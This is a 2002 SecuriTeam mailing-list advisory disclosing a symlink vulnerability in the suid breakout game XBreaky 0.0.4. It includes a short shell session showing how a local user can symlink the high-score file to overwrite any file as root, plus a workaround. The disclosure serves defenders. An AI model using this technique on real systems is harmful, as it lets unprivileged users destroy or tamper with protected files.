[UNIX] XBreaky Symlink Security Vulnerability

From: support@securiteam.com
Date: 09/12/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 12 Sep 2002 08:50:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  XBreaky Symlink Security Vulnerability
------------------------------------------------------------------------

SUMMARY

XBreaky is a breakout game for X written by Dave Brul that can be
downloaded from <http://xbreaky.sourceforge.net>
http://xbreaky.sourceforge.net. XBreaky is added to the OpenBSD ports
tree, NetBSD tree and possibly others. A symlink issue has been found in
the product allowing a local attacker to overwrite any file he desires.

DETAILS

Vulnerable systems:
 * xbreaky version 0.0.4

By default, xbreaky is installed as suid and can be abused to overwrite
any file on the file system, by any user.

Exploit:
xbreaky uses $HOME/.breakyhighscores to write the high scores to, when
$HOME/.breakyhighscores is symlinked to another file (*any* file) it
simply overwrites it as the root user.

Example:
root@animal:/home/marco# echo "bla" >rootfile
root@animal:/home/marco# chmod 600 rootfile
root@animal:/home/marco# exit
logout
marco@animal:~$ ln -s rootfile .breakyhighscores
marco@animal:~$ xbreaky

Now we play a game and set high score as user "lol", then we exit the
game.

marco@animal:~$ cat rootfile
cat: rootfile: Permission denied
marco@animal:~$ su -
Password:
root@animal:~# cat /home/marco/rootfile
lol <- voila, our high score user

Workaround:
Remove the suid bit from the file.

ADDITIONAL INFORMATION

The information has been provided by <mailto:m.v.berkum@obit.nl> Marco
van Berkum.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [Full-Disclosure] xbreaky symlink vulnerability
    ... xbreaky is a breakout game for X written by Dave Brul which can be downloaded ... marco@animal:~$ ln -s rootfile .breakyhighscores ... Now I play a game and set highscore as user "lol", ... cat: rootfile: Permission denied ...
    (Full-Disclosure)
  • xbreaky symlink vulnerability
    ... xbreaky is a breakout game for X written by Dave Brul which can be downloaded ... marco@animal:~$ ln -s rootfile .breakyhighscores ... Now I play a game and set highscore as user "lol", ... cat: rootfile: Permission denied ...
    (Bugtraq)